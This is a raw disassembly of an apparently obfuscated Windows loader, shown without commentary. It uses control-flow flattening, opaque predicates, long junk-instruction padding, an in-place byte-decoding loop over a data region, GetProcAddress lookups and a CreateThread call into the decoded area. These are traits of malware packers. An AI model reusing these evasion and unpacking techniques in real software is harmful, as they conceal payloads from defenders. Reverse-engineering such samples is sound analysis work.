cmp eax, 0x69a53e71
jne 0x401a00
mov eax, 0xfb1e9600
jmp 0x401a00
cmp eax, 0xf1290df0
je 0x40c4bb
cmp eax, 0xf1675779
jne 0x401a00
mov eax, dword [ebp - 0x20]
mov eax, 0xa7887610
jmp 0x401a00
cmp eax, 0xe389250
je 0x40c4ce
cmp eax, 0xe877075
jne 0x401a00
mov eax, 0xd8187031
jmp 0x401a00
cmp eax, 0x96ff1a67
je 0x40c4d8
cmp eax, 0x97010c08
jne 0x401a00
push 0x64
vzeroupper
call dword [sym.imp.KERNEL32.dll_Sleep]
mov eax, 0xbb619b40
jmp 0x401a00
cmp eax, 0x5b53c92e
je 0x40c4e5
cmp eax, 0x5b6f20df
jne 0x401a00
mov ecx, dword [0x4a3f84]
lea eax, [ecx + 1]
imul eax, ecx
mov edx, eax
not edx
mov ecx, eax
and eax, 0x447e19fb
and ecx, 1
mov esi, edx
and edx, 0xbb81e604
and esi, 0xfffffffe
or eax, edx
or ecx, esi
mov esi, 0x89de0b9a
mov edx, eax
xor edx, 0x447e19fb
xor eax, 0xbb81e604
andn edx, ecx, edx
and eax, ecx
not ecx
or eax, edx
not eax
or eax, ecx
xor eax, 0xffffffff
sete dl
setne cl
cmp dword [0x4a3f80], 0xa
setge ah
setl al
mov ch, ah
xor ch, cl
or cl, ah
mov ah, al
xor al, dl
or ah, dl
and cl, ch
xor ah, 1
or al, ah
mov ah, cl
mov edx, eax
xor ah, 1
and cl, al
not dl
and dl, ah
or ah, al
or cl, dl
mov ch, ah
xor ch, cl
test ah, ah
mov eax, 0x4a9499b1
cmovne eax, esi
test cl, cl
cmove eax, esi
test ch, 1
mov ecx, 0x4a9499b1
cmove eax, ecx
jmp 0x401a00
cmp eax, 0xd268f4c0
je 0x40c4fb
cmp eax, 0xd3b9ad01
jne 0x401a00
mov eax, dword [ebp - 0x38]
mov eax, dword [eax]
mov ecx, dword [ebp - 0x198]
lea eax, [eax + eax*4]
mov eax, dword [ecx + eax*4 + 0x10]
add eax, dword [ebp - 0x194]
mov ecx, dword [ebp - 0x3c]
mov ecx, dword [ecx]
mov edx, dword [ebp - 0x190]
mov dword [eax + ecx*4], edx
mov eax, dword [ebp - 0x4c]
mov eax, dword [ebp - 0x88]
mov eax, 0xfb9e80e9
jmp 0x401a00
cmp eax, 0x305c3b0b
je 0x40c528
cmp eax, 0x3129f3b2
jne 0x401a00
mov ecx, dword [0x4a3f84]
lea eax, [ecx + 1]
imul eax, ecx
mov ecx, eax
not ecx
mov esi, eax
and esi, 0xb11c68
and eax, 0xc6024103
mov edx, ecx
and edx, 0x104ca294
or ecx, 0x101d3e7c
or esi, edx
and ecx, 0x391d3e7c
mov edx, esi
xor edx, 0xa00000
xor esi, 0x390c2214
or eax, ecx
and esi, 0x391d3e7c
and edx, 0xe08080
or edx, esi
xor eax, edx
mov ecx, eax
not ecx
and eax, 0x10fdbefc
and ecx, 0xef024103
or eax, ecx
mov edx, eax
xor edx, 0xaa7535d0
mov ecx, eax
not ecx
mov ebx, eax
and ebx, 0x80020b
andn esi, eax, edx
and eax, 0x4a87eef6
mov edx, esi
not edx
and esi, 0xae102cb
mov edi, edx
and edi, 0xf51efd34
or esi, edi
mov edi, ecx
or edi, 0xaa7535d0
or edx, edi
and edi, 0xf51efd34
or ebx, edi
not edx
xor ebx, esi
or edx, ebx
mov esi, edx
not esi
and edx, 0xaa7535d1
and esi, 0x558aca2e
or edx, esi
mov esi, ecx
and esi, 0xb5781109
and ecx, 1
or esi, eax
mov eax, esi
xor eax, 0x88424a1
xor esi, 0xb4780108
or ecx, eax
and esi, 0xf67bcb5e
and ecx, 0x98434a1
or ecx, esi
mov esi, 0x73bfe7d2
xor ecx, 0x98434a1
or ecx, edx
mov eax, ecx
not eax
and ecx, 0xd5e25482
and eax, 0x2a1dab7d
or ecx, eax
mov eax, ecx
xor eax, 0xd0021002
xor ecx, 0x2208a90d
and ecx, 0x27e8ed8d
and eax, 0xd8171272
or eax, ecx
cmp eax, 0x27e8ed8d
setne al
cmp dword [0x4a3f80], 0xa
mov ecx, eax
setge dl
or cl, dl
xor al, dl
mov ah, cl
xor ah, 1
mov dl, ah
and dl, cl
xor dl, 1
or dl, cl
xor dl, 1
or dl, ah
xor dl, al
xor al, 1
or al, cl
mov ecx, eax
xor cl, dl
test al, al
mov eax, 0xe4bbd37a
cmovne eax, esi
test dl, 1
mov edx, 0xe4bbd37a
cmove eax, esi
test cl, 1
cmove eax, edx
jmp 0x401a00
cmp eax, 0xae269dc2
je 0x40c53e
cmp eax, 0xb00ec741
jne 0x401a00
mov eax, dword [ebp - 0x28]
mov edx, dword [eax]
mov eax, edx
not eax
or edx, 0x40000000
mov ecx, eax
or ecx, 0x2f988102
mov esi, eax
and edx, 0x6f988102
and esi, 0x90677efd
or esi, edx
and ecx, 0x6f988102
xor ecx, esi
not ecx
or ecx, eax
mov eax, 0xf827bd9c
cmp ecx, 0xffffffff
setne byte [ebp - 0x6a]
jmp 0x401a00
cmp eax, 0x76d1fbf1
je 0x40c5d3
cmp eax, 0x76d2757b
jne 0x401a00
cmp byte [ebp - 0x65], 0
mov eax, 0x1a05a86b
mov ecx, 0xbc8dcd16
cmovne eax, ecx
jmp 0x401a00
cmp eax, 0xe03aa75d
je 0x40c5e9
cmp eax, 0xe2ce8773
jne 0x401a00
mov ecx, dword [0x4a3f84]
lea eax, [ecx + 1]
imul eax, ecx
mov edx, eax
not edx
mov ecx, eax
and ecx, 0xcf47134
and eax, 0xf977e722
mov esi, edx
and esi, 0xf30b8ecb
and edx, 0x68818dd
or ecx, esi
or eax, edx
mov esi, ecx
not esi
and ecx, 0xf30b8eca
mov edx, eax
xor edx, 0xf977e722
xor eax, 0x68818dd
and esi, 0xcf47135
or ecx, esi
mov esi, 0x11946803
andn edx, ecx, edx
and eax, ecx
not ecx
or eax, edx
xor ecx, eax
test ecx, eax
setne ch
sete ah
cmp dword [0x4a3f80], 0xa
mov dl, ch
setge cl
mov al, cl
xor dl, cl
mov dh, cl
and cl, ah
inc al
and dl, ah
or dh, ah
and ch, al
xor dl, 1
or al, ah
or cl, ch
mov ebx, edx
or dl, dh
xor cl, 1
xor bl, dh
xor dl, 1
mov ah, cl
or cl, al
or dl, bl
xor ah, al
not cl
or cl, ah
mov eax, 0x65ea3f7e
xor cl, dl
and cl, 1
cmovne esi, eax
test cl, dl
mov eax, 0x11946803
cmovne esi, eax
test cl, cl
cmovne eax, esi
test cl, dl
mov ecx, dword [ebp - 0x28]
cmove eax, esi
mov ecx, dword [ecx]
mov edx, ecx
not edx
mov esi, ecx
and esi, 0xaae0bb4
and edx, 0xd551f44b
or esi, edx
mov edx, ecx
and edx, 0x20000000
xor esi, 0xaae0bb4
or edx, esi
mov esi, edx
not esi
and edx, ecx
andn ecx, ecx, esi
or edx, ecx
xor esi, edx
and esi, edx
mov dword [ebp - 0x1a8], esi
jmp 0x401a00
cmp eax, 0xfa2dd5d4
je 0x40c5f3
cmp eax, 0xfa533cdb
jne 0x401a00
mov eax, dword [ebp - 0x110]
mov eax, dword [ebp - 0x10c]
mov eax, 0x4fdd01b3
jmp 0x401a00
cmp eax, 0x8584fedd
je 0x40c86e
cmp eax, 0x860f1336
jne 0x401a00
mov eax, dword [ebp - 0x108]
mov ecx, dword [ebp - 0x44]
add eax, 2
push eax
push dword [ecx]
vzeroupper
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov ecx, dword [ebp - 0x4c]
mov dword [ecx], eax
mov eax, dword [0x4a3f84]
lea ecx, [eax + 1]
imul ecx, eax
mov eax, ecx
not eax
and ecx, 0x1337825
and eax, 0xfecc87da
or ecx, eax
mov eax, ecx
xor eax, 0x1012025
xor ecx, 0xe40c051a
and ecx, 0xe43e5d1a
and eax, 0x1bc1a2e5
or eax, ecx
mov ecx, eax
mov edx, eax
xor eax, 0x1bc1a2e4
xor ecx, 0xe43e5d1a
xor edx, 0xe43e5d1b
and edx, ecx
and eax, 0xfffffffe
and ecx, 1
or ecx, eax
mov eax, edx
not eax
and edx, 0xaf3c8a2a
mov esi, eax
and esi, 0x50c375d5
or edx, esi
mov esi, ecx
not esi
and ecx, 0xaf3c8a2a
or eax, esi
and esi, 0x50c375d5
or ecx, esi
not eax
mov esi, 0x16551ce1
xor ecx, edx
or eax, ecx
mov edx, eax
xor edx, 0x5aa17fad
mov ecx, eax
and ecx, 0x12011088
and edx, eax
not eax
and eax, 0x48a06f25
or ecx, eax
xor ecx, 0x12011088
or ecx, edx
not edx
and edx, 0xa55e8052
and ecx, 0x5aa17fad
or ecx, edx
mov eax, ecx
not eax
and ecx, 0x63286cd4
mov edx, eax
and edx, 0x9cd7932b
or ecx, edx
xor ecx, 0x63286cd4
or ecx, eax
xor ecx, 0xffffffff
setne al
sete dl
cmp dword [0x4a3f80], 0xa
setl ah
setge cl
and ah, al
mov al, cl
xor al, dl
and al, cl
and cl, dl
or cl, ah
or al, cl
xor al, cl
and cl, al
mov edx, eax
xor dl, cl
test al, al
mov eax, 0xf9c82eec
cmovne eax, esi
test cl, cl
mov ecx, 0xf9c82eec
cmove eax, esi
test dl, dl
cmove eax, ecx
jmp 0x401a00
cmp eax, 0x4526a214
je 0x40c881
cmp eax, 0x46068ee8
jne 0x401a00
mov eax, 0xbf8b6276
jmp 0x401a00
cmp eax, 0xbb619b40
je 0x40c897
cmp eax, 0xbbee323b
jne 0x401a00
mov eax, 0x9c96b249
jmp 0x401a00
cmp eax, 0x15f5db4b
je 0x40c8b4
cmp eax, 0x16551ce1
jne 0x401a00
mov eax, dword [ebp - 0x108]
mov ecx, dword [ebp - 0x44]
add eax, 2
push eax
push dword [ecx]
vzeroupper
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov ecx, dword [ebp - 0x4c]
mov dword [ecx], eax
mov eax, 0x860f1336
jmp 0x401a00
cmp eax, 0x9c96b249
je 0x40c971
cmp eax, 0x9cf5fc7b
jne 0x401a00
cmp dword [ebp - 0x100], 0
mov ecx, dword [0x4a3f84]
lea eax, [ecx + 1]
setne byte [ebp - 0x66]
imul eax, ecx
mov edx, eax
not edx
mov ecx, eax
and ecx, 0x45f5b318
mov esi, edx
and esi, 0xba0a4ce6
and edx, 0xf5c084
or ecx, esi
mov esi, ecx
xor esi, 0x25a218
xor ecx, 0xba0a4ce7
mov edi, ecx
and edi, 0x5fda1dc2
and esi, 0xa025e23c
or esi, edi
mov edi, eax
xor edi, 0xfffffffe
and edi, eax
and eax, 0xff0a3f7b
mov ebx, edi
not ebx
and edi, 0xa025e23d
or eax, edx
or ecx, ebx
and ebx, 0x5fda1dc2
xor eax, 0xff0a3f7b
or edi, ebx
not ecx
xor edi, esi
mov esi, 0xf5fea1dc
or ecx, edi
not ecx
or eax, ecx
mov ecx, eax
not ecx
and eax, 0xe37c9b3b
and ecx, 0x1c8364c4
or eax, ecx
xor eax, 0xe37c9b3b
sete dl
setne ah
cmp dword [0x4a3f80], 0xa
setge al
setl cl
and ah, cl
and al, dl
or al, ah
mov ah, cl
or cl, dl
xor ah, dl
xor cl, 1
mov edx, eax
or cl, ah
mov ah, al
xor ah, 1
and dl, ah
xor dl, 1
mov ch, dl
or dl, ah
xor ch, ah
xor dl, 1
xor ah, cl
xor cl, 1
or dl, ch
xor dl, cl
or cl, al
xor cl, 1
or cl, ah
mov eax, 0xbcd05de8
mov ch, cl
xor ch, dl
test cl, 1
cmovne eax, esi
test dl, 1
mov edx, 0xbcd05de8
cmove eax, esi
test ch, 1
cmove eax, edx
jmp 0x401a00
cmp eax, 0x65dfce56
je 0x40ca38
cmp eax, 0x65ea3f7e
jne 0x401a00
mov eax, dword [ebp - 0x28]
mov eax, 0xe2ce8773
jmp 0x401a00
cmp eax, 0xed0e5e83
je 0x40cb85
cmp eax, 0xed47c411
jne 0x401a00
mov eax, 0x99c340b4
jmp 0x401a00
cmp eax, 0xb1b5530
je 0x40cb9d
cmp eax, 0xb3b0966
jne 0x401a00
cmp byte [ebp - 0x69], 0
mov eax, 0xb00ec741
mov ecx, 0x891e9b99
cmovne eax, ecx
jmp 0x401a00
cmp eax, 0x932b3c7d
je 0x40cc51
cmp eax, 0x9458cda2
jne 0x401a00
push eax
mov eax, esp
mov dword [ebp - 0x38], eax
push eax
mov eax, esp
mov dword [ebp - 0x84], eax
push eax
mov eax, esp
mov dword [ebp - 0x44], eax
push eax
mov eax, esp
mov dword [ebp - 0x5c], eax
push eax
mov eax, esp
mov dword [ebp - 0x3c], eax
push eax
mov eax, esp
mov dword [ebp - 0x88], eax
push eax
mov eax, esp
mov dword [ebp - 0x4c], eax
push eax
mov eax, esp
mov dword [ebp - 0x8c], eax
push eax
mov eax, esp
mov dword [ebp - 0x20], eax
push eax
mov eax, esp
mov dword [ebp - 0x40], eax
push eax
mov eax, esp
mov dword [ebp - 0x28], eax
push eax
mov eax, esp
mov dword [ebp - 0x90], eax
push eax
mov eax, esp
mov dword [ebp - 0xa8], eax
push eax
mov eax, esp
mov dword [ebp - 0x94], eax
push eax
mov eax, esp
mov dword [ebp - 0x60], eax
sub esp, 0x78
mov eax, esp
mov dword [ebp - 0x98], eax
push eax
mov eax, esp
mov dword [ebp - 0x9c], eax
sub esp, 8
mov eax, esp
mov dword [ebp - 0xa0], eax
push eax
mov eax, esp
mov dword [ebp - 0x78], eax
sbb edx, 0xc1
and ebx, 0xba
rol edx, 0x86
ror ebx, 0x8e
sub ebx, 0xb6
imul ebx
or edx, 0x9f
or eax, 0xc0
sub eax, 0xeb
not edx
dec esi
rcr ebx, 0x2c
not esi
inc ebx
dec edx
imul esi
mov eax, 0x38
sub ebx, 0x9e
add ebx, 0x8a
not edx
neg ebx
bswap ebx
and eax, 0x45
or edi, 0xea
dec eax
rol edx, 0xb2
sub edx, 0xe6
rol esi, 0xd0
not edx
and eax, 0xea
or eax, 0x25
inc eax
imul edi
rcl eax, 0x83
rcr edi, 0x8d
dec esi
sub ebx, 0x81
add ebx, 0x10
sub edi, 0xcf
inc ebx
inc edi
dec eax
dec eax
not edi
add eax, 0x2e
dec eax
imul eax
rol edx, 0x74
sub eax, 0xf2
or esi, 0x82
inc eax
neg edi
and edi, 0xd8
neg eax
mov esi, 0xac
bswap edi
mov edi, 0x68
imul ebx
add edx, 0x8a
mov ebx, 0x7b
inc esi
neg eax
inc eax
or edx, 0x49
not edi
inc ebx
imul eax
rcl ebx, 0x71
neg edi
rol edi, 0x77
inc eax
imul edx
and esi, 0xe1
rol ebx, 0x80
not eax
imul esi
not eax
sbb ebx, 0xcb
bswap esi
add edx, 0xd9
not edi
or eax, 0xaa
and edx, 0xfe
mov edx, 4
rcr edi, 0x7d
not edi
dec eax
rcl eax, 0x6a
or ebx, 0x98
imul edx
bswap edi
ror edi, 0xd1
neg edx
neg edi
rcr edx, 0x3d
rol esi, 0x75
inc edi
add eax, 0xc1
not eax
bswap esi
neg edx
or edi, 0x6b
mov edx, 0x96
rcl ebx, 3
add eax, 0xb5
rcl ebx, 0x49
imul edx
rcr edi, 0x69
or ebx, 0x80
dec esi
dec edx
and edi, 0x47
bswap edx
not edx
bswap eax
rcl esi, 0x18
and edx, 6
dec eax
not edx
imul edx
not eax
dec ebx
inc esi
neg esi
bswap edi
dec edx
or edx, 0x85
sbb ebx, 0x1a
not esi
and esi, 0x35
or eax, 0x51
ror esi, 0xe3
add eax, 0x22
sbb edx, 0xb3
sub ebx, 0x66
bswap eax
neg edi
and edi, 0x58
or edi, 0xf0
imul eax
not eax
add edi, 0x4a
not eax
inc edx
imul edi
add edx, 0x6d
neg eax
ror ebx, 0x95
add esi, 0x10
inc ebx
imul esi
not edi
bswap edx
rcl edi, 0x24
not esi
dec edx
ror edi, 0x89
not edi
rcl esi, 8
mov ebx, 0x58
or edi, 0x30
inc edi
sub edx, 0xbe
rol esi, 0x1c
rcr ebx, 0x74
bswap esi
and ebx, 0x29
bswap ebx
bswap edx
sbb ebx, 0xde
inc edx
inc eax
inc edx
neg ebx
add eax, 0x16
rcr edi, 0x4d
imul ebx
neg eax
neg ebx
or ebx, 0xf5
not eax
neg eax
neg edi
add eax, 0xf4
dec esi
rcr edx, 0xdd
not esi
imul esi
inc ebx
sbb ebx, 0x3d
bswap edi
sbb esi, 0xa7
rcr eax, 0x84
rcr esi, 0xa8
mov eax, 0x3b
rol ebx, 0x11
ror ebx, 0x34
neg esi
rol eax, 0x31
inc edx
imul ebx
bswap edx
dec eax
not esi
dec esi
rcl edx, 0x86
inc esi
sbb ebx, 0x9b
bswap edx
inc edx
neg eax
sub edi, 0xf6
add edx, 0x29
sub esi, 0xf1
or eax, 0xcd
not esi
ror edi, 0x73
sub edi, 0x27
sbb eax, 0x60
or ebx, 0xc3
and ebx, 0xb0
neg eax
rcr ebx, 0xc6
not ebx
imul edi
inc ebx
not edx
inc eax
imul eax
or edx, 0x9d
ror eax, 0xc3
bswap eax
and ebx, 0x71
neg eax
imul esi
rol ebx, 0xa4
dec esi
not edx
rcl ebx, 0xff
mov edi, 0x99
sbb edx, 0x9e
mov esi, 0xe1
and edx, 0x6d
neg esi
sub eax, 0x49
bswap edx
bswap ebx
and ebx, 0x51
neg edi
imul edi
rol edx, 0x93
not ebx
sbb esi, 0x4e
inc edx
bswap edi
ror ebx, 0xb9
add edx, 0xe6
imul edi
not ebx
neg esi
neg edx
imul ebx
rcl eax, 0x29
and eax, 0x85
inc edx
neg edx
ror edx, 0xda
not ebx
or ebx, 0xa1
mov edx, 0x32
dec eax
ror edi, 0x9c
neg edx
imul esi
inc edi
rol edi, 0xa5
bswap eax
rcl edx, 0x63
rol eax, 0xe4
and esi, 0x2c
inc edx
not esi
imul eax
dec esi
ror edi, 0x15
imul ebx
inc edi
rol edi, 0xe7
bswap edi
imul eax
not eax
imul ebx
sbb edx, 0xc4
bswap edi
ror esi, 0x4e
bswap esi
imul esi
add esi, 0x21
dec edx
sbb esi, 0xb3
mov esi, 0x89
neg edx
not ebx
imul edi
neg esi
neg edx
rcl esi, 0x69
add edx, 0xaf
imul edi
sub eax, 0x52
mov eax, 0x4e
bswap ebx
imul esi
add edx, 0x97
dec esi
and edx, 0xdd
dec ebx
rcr edx, 0xdf
not esi
ror esi, 0x1c
sub edi, 0xfd
rcl esi, 0x26
or eax, 0x8a
neg eax
add edi, 0x34
and esi, 0x76
neg esi
ror ebx, 0x11
neg edx
rcr edi, 0xd2
bswap ebx
neg ebx
and ebx, 0xf8
neg edi
imul esi
not esi
inc edx
bswap edx
add ebx, 0xc8
sub esi, 0xa0
sub edx, 0xbe
imul ebx
bswap esi
not ebx
bswap edx
bswap edi
neg ebx
rol esi, 0xc3
rcr eax, 0x4d
inc edi
or eax, 0x38
bswap esi
rol eax, 0xf4
bswap eax
rol esi, 0xb9
mov esi, 0x76
sub ebx, 0xfc
not ebx
sbb esi, 0xdf
rcl ebx, 0xec
add edi, 0xf6
bswap eax
sub edi, 0xf9
rcr ebx, 0x44
rol edx, 0x14
rcl ebx, 0xc7
add ebx, 0xd1
imul ebx
rcr edi, 0xfc
add edi, 0x66
bswap eax
neg edi
add esi, 0x3e
not eax
bswap ebx
bswap esi
dec eax
rcr eax, 0x75
inc edx
sbb edi, 0x62
rcr ebx, 0x15
ror ebx, 0x9d
sbb eax, 0x95
not ebx
add edi, 0x24
rcr edi, 0xa4
mov esi, 0x58
bswap edx
rcl eax, 0x64
add eax, 0xe7
dec edi
dec eax
bswap esi
dec edi
neg ebx
mov edi, 0x3d
dec esi
dec edx
imul edi
sub esi, 0x32
or esi, 0x9e
rcr esi, 0x89
dec edx
imul esi
sbb ebx, 0xab
ror eax, 0x73
neg edx
not edi
not edx
mov edx, 0x72
sub edx, 0x5d
sbb esi, 0x16
or edi, 0xbc
sub edi, 0xcf
rcr edi, 0xe9
rol edi, 0xe1
rcr eax, 0x73
add eax, 0x86
imul ebx
imul edx
rol edx, 0xd2
rcr ebx, 0x17
inc esi
ror esi, 0xd5
and esi, 0xf3
mov esi, 0xb4
add ebx, 0x8f
inc esi
or edx, 0xea
not esi
sub ebx, 0xe2
rol ebx, 0x65
inc esi
or esi, 0xaa
rol ebx, 0xfa
mov edx, 0x18
not edx
mov eax, 8
bswap eax
bswap esi
not ebx
sub edi, 0x84
imul edx
not ebx
and ebx, 0x41
neg esi
ror esi, 0xf
ror edi, 0x81
rcr edx, 0x36
or ebx, 0xef
add edx, 0xda
neg eax
rcr edx, 0xab
neg eax
rcl ebx, 0x8f
inc esi
inc edi
not edi
add eax, 0xba
imul ebx
dec edx
add eax, 0x70
bswap esi
sbb edi, 0x27
sbb ebx, 0xcd
bswap edx
sbb edx, 0xba
sbb esi, 0xf2
or eax, 0xa9
inc edx
sub eax, 0xcc
bswap esi
ror ebx, 0xb4
imul edx
rol edx, 0xa6
ror edi, 0xf2
inc esi
imul eax
sbb edi, 0xc8
imul ebx
bswap eax
inc esi
rcl esi, 0x1c
neg edx
dec edi
imul eax
neg eax
bswap eax
rcl edi, 0x55
sub edi, 0xb7
or esi, 0x3d
imul edi
inc ebx
or ebx, 0x4d
ror edi, 0x4f
dec eax
add edx, 0x25
sbb ebx, 0xec
sbb edi, 0xc7
add ebx, 0x83
dec esi
sbb esi, 0x17
inc ebx
inc edi
dec edx
and edi, 0x2e
add edi, 0x35
ror esi, 0xaf
dec esi
not edi
add esi, 0x82
neg ebx
and edx, 0xae
bswap esi
or esi, 0xc6
imul eax
imul ebx
rcl esi, 0xc6
imul edx
or edi, 0x2a
inc edx
neg edi
bswap esi
inc esi
imul eax
imul ebx
dec edx
not eax
inc edx
dec edx
rcl eax, 0xc1
bswap eax
neg eax
sub edi, 0x87
sbb ebx, 0xb0
not eax
sub eax, 0x44
imul edx
or edx, 0x2e
or esi, 0xc4
ror eax, 0x63
imul edi
imul ebx
mov edx, 0x26
not edx
sub esi, 0xc5
sub eax, 0x26
inc ebx
rol edx, 0xbc
ror esi, 0x4d
sub edi, 0x3f
sbb esi, 0x62
rcr ebx, 0x30
dec edx
bswap edi
rol edx, 0xbc
inc eax
imul edi
not ebx
mov esi, 0x8b
sbb edi, 0xdd
sbb esi, 0xde
rcl ebx, 0xc6
rcl esi, 0x52
ror edi, 0x68
rol eax, 0xe4
and ebx, 0x38
dec edi
rcl ebx, 0x36
rcr ebx, 0x12
rol edi, 0x5f
sbb eax, 0x46
neg edi
mov esi, 0x3d
sub edi, 0x4a
mov esi, 0xf
imul edi
inc edx
dec edx
imul esi
and edi, 0xac
imul edx
dec eax
not eax
ror eax, 0x3f
imul edx
imul esi
inc eax
or eax, 0x62
rcr edi, 0xc8
neg edi
sbb edi, 0x56
neg eax
rcr eax, 0x1f
ror edi, 0x85
rcr ebx, 0xf
imul esi
rcl ebx, 0xc0
imul eax
neg edi
mov dword [ebp - 0x24], eax
mov dword [ebp - 0x14], 0x4ac00
mov dword [ebp - 0x18], 0x458000
not esi
add edi, 0x23
mov edi, 0xa0
add eax, 0xe0
neg eax
neg esi
and esi, 0x39
rcr edx, 0xd5
ror ebx, 0x11
or eax, 0x39
dec edx
sbb ebx, 0x9a
add ebx, 0xf6
and esi, 0x10
mov esi, 0x3c
bswap edi
dec edi
dec edx
and esi, 0x6a
inc esi
or edi, 0x5e
and ebx, 0x41
inc edx
rcl eax, 0x24
imul esi
mov ebx, 0x2d
or edx, 0x6c
imul ebx
inc eax
dec ebx
sub eax, 0x22
mov edi, 0x85
mov esi, 0xe9
bswap esi
bswap ebx
imul eax
not eax
dec edx
imul esi
inc ebx
neg ebx
not edx
rol eax, 0x12
ror edx, 0xfb
imul eax
and ebx, 3
not ebx
ror ebx, 0x6b
not ebx
rol eax, 0x60
bswap edx
neg edx
sub edi, 0x49
sbb eax, 0x16
not edx
sbb edx, 0xcf
imul esi
not ebx
sub edx, 0xc5
ror ebx, 0x2a
add edx, 0xa
bswap eax
dec edx
imul edx
inc edi
inc edx
rol eax, 0x86
rcl esi, 0xe
dec eax
and eax, 0xe6
dec ebx
dec eax
imul ebx
dec ebx
imul edx
inc ebx
rol esi, 0x91
not edi
ror eax, 0xda
sub edx, 0xf5
neg esi
mov esi, 0x19
rcr ebx, 0xda
rol edi, 0x28
and ebx, 0xb
sbb esi, 0xaf
imul eax
ror edx, 0x68
bswap eax
mov edi, 0xfd
dec edi
neg edi
rcr ebx, 0x27
or edx, 0xe
bswap edi
neg edx
not eax
ror edx, 0x22
neg eax
add esi, 0xdc
sbb esi, 0xd
and eax, 0xf4
rcl esi, 0x86
bswap ebx
sbb edi, 0xc8
sbb edi, 0x6a
inc edx
bswap eax
mov esi, 0xdb
bswap edi
sub edx, 0xd3
not edi
dec edi
or edx, 0xfa
imul eax
imul edx
add edx, 0x90
or ebx, 0x7f
inc edi
rcr edx, 0x79
sbb ebx, 0x7c
imul eax
sub edi, 0xb
imul edx
and esi, 0x10
imul edx
add eax, 0x4d
mov edx, 0x82
rol ebx, 8
sbb edi, 0xcc
rol edi, 0x5d
bswap ebx
rcl ebx, 0x2d
sbb esi, 0xdb
ror edx, 0x75
rcr esi, 0x45
rcr esi, 0x2d
bswap esi
ror esi, 0x29
bswap eax
rcr eax, 0xd
mov edi, 0x1e
sub esi, 0xb1
not edx
neg edx
add esi, 0x12
rol edx, 0xde
neg eax
ror esi, 0x5e
bswap esi
sub ebx, 0x8f
imul ebx
ror ebx, 0xe8
and esi, 0x4c
imul ebx
ror edi, 0x11
inc edx
neg eax
sbb edi, 0x23
dec eax
not eax
dec edi
ror ebx, 0xd2
bswap edx
neg edx
rol edx, 0x99
add ebx, 0x51
not edi
imul edx
rcl edi, 0xd
imul edi
neg edi
rcr eax, 0x3f
dec edi
or edx, 0xa9
and edx, 0xa9
or ebx, 0xba
dec ebx
sbb ebx, 0xb1
add ebx, 0x47
not eax
or eax, 0xaf
bswap esi
or esi, 3
bswap eax
and eax, 0x42
ror edi, 0x67
imul eax
rol esi, 0xc7
and edx, 0x98
or ebx, 0xa1
not esi
neg esi
mov eax, 0x75
sub edi, 0x7b
rcr esi, 0x92
rcl edi, 0x71
ror edi, 0xdd
mov edi, 0xcc
imul esi
add eax, 0x6b
bswap eax
bswap edi
inc ebx
sbb eax, 0xc7
bswap esi
ror ebx, 0x43
add eax, 0xf0
not edx
ror edx, 0x63
sub edx, 0x3a
and edx, 0x82
add edi, 0xcb
sub edx, 0xf9
bswap edi
imul edi
neg ebx
inc ebx
not eax
dec esi
add esi, 0x33
not edx
add ebx, 0xc8
rcr edx, 7
inc edx
or eax, 0x86
and ebx, 0x4e
neg edi
and esi, 0x95
add edx, 0xb7
and ebx, 3
not ebx
dec edi
dec eax
neg edi
neg eax
neg edx
rol edx, 0x7f
rcl esi, 0x3a
rol edx, 0xd6
rol ebx, 0x23
dec ebx
imul eax
dec esi
dec eax
ror edi, 0x90
rcl ebx, 0xe0
or edx, 0x8f
imul edi
bswap eax
mov eax, 0x4c04b529
nop word cs:[eax + eax]
cmp eax, 0x5120d255
je 0x40ce19
cmp eax, 0x4c04b529
jne 0x406ab0
xor ecx, ecx
xor edi, edi
mov ecx, dword [ebp - 0x14]
mov edi, dword [ebp - 0x18]
not byte [edi]
sub byte [edi], 0x89
add byte [edi], 0x45
imul byte [edi]
inc edi
loop 0x406acc
mov eax, 0x5120d255
jmp 0x406ab0
cmp eax, 0x55ac3051
je 0x40d4db
cmp eax, 0x55eb857f
jne 0x401a00
mov dword [ebp - 0x24], 1
mov eax, 0x6de1a74b
jmp 0x401a00
cmp eax, 0xca9dd3e5
je 0x40d4e5
cmp eax, 0xcaa24a1b
jne 0x401a00
mov eax, dword [0x4a3f84]
lea edx, [eax + 1]
imul edx, eax
mov ecx, edx
not ecx
mov eax, edx
or eax, 0x83a2537c
and edx, 0x83a2537c
mov esi, ecx
and esi, 0x7c5dac82
and eax, 0x83a2537d
or esi, edx
xor eax, esi
mov esi, 0x88f7d356
not eax
or eax, ecx
xor eax, 0xffffffff
sete dl
setne ah
cmp dword [0x4a3f80], 0xa
setl al
setge cl
and dl, cl
and al, ah
or cl, ah
or al, dl
mov ah, cl
mov edx, eax
not ah
and al, cl
xor dl, 1
or cl, dl
and dl, ah
or dl, al
mov eax, 0xb27b3558
mov ch, dl
xor ch, cl
test dl, dl
mov edx, 0xb27b3558
cmovne eax, esi
test cl, cl
cmovne eax, edx
test ch, ch
cmove eax, esi
jmp 0x401a00
cmp eax, 0x2b37df63
je 0x40d60f
cmp eax, 0x2bd3b381
jne 0x401a00
mov eax, dword [ebp - 0x134]
add eax, 0x34
mov dword [ebp - 0x138], eax
mov eax, 0x15e7d1e1
jmp 0x401a00
cmp eax, 0xaab4f833
je 0x40d619
cmp eax, 0xab89dcb6
jne 0x401a00
mov eax, 0x66b76ca3
jmp 0x401a00
cmp eax, 0x73bfe7d2
je 0x40d623
cmp eax, 0x740cbea7
jne 0x401a00
cmp dword [ebp - 0x1ac], 0
mov eax, 0x411ac27c
mov ecx, 0x20a8d321
cmove eax, ecx
jmp 0x401a00
cmp eax, 0xde15dc90
je 0x40d639
cmp eax, 0xde1892e2
jne 0x401a00
mov eax, 0xfc8401b0
jmp 0x401a00
cmp eax, 0x135e1b
je 0x40d64f
cmp eax, 0x1d1f55c
jne 0x401a00
mov eax, 0x932b3c7d
jmp 0x401a00
cmp eax, 0x8b84ba30
je 0x40d66e
cmp eax, 0x8bc49b3f
jne 0x401a00
mov eax, dword [ebp - 0x1bc]
mov eax, dword [eax]
add eax, dword [ebp - 0x1b8]
push 0
push 0
push 0
push eax
push 0
push 0
vzeroupper
call dword [sym.imp.KERNEL32.dll_CreateThread]
mov ecx, dword [ebp - 0x78]
mov dword [ecx], eax
mov ecx, 0x953489d8
mov eax, dword [ebp - 0x9c]
cmp byte [eax], 0
mov eax, 0x97010c08
cmove eax, ecx
jmp 0x401a00
cmp eax, 0x4df6a22d
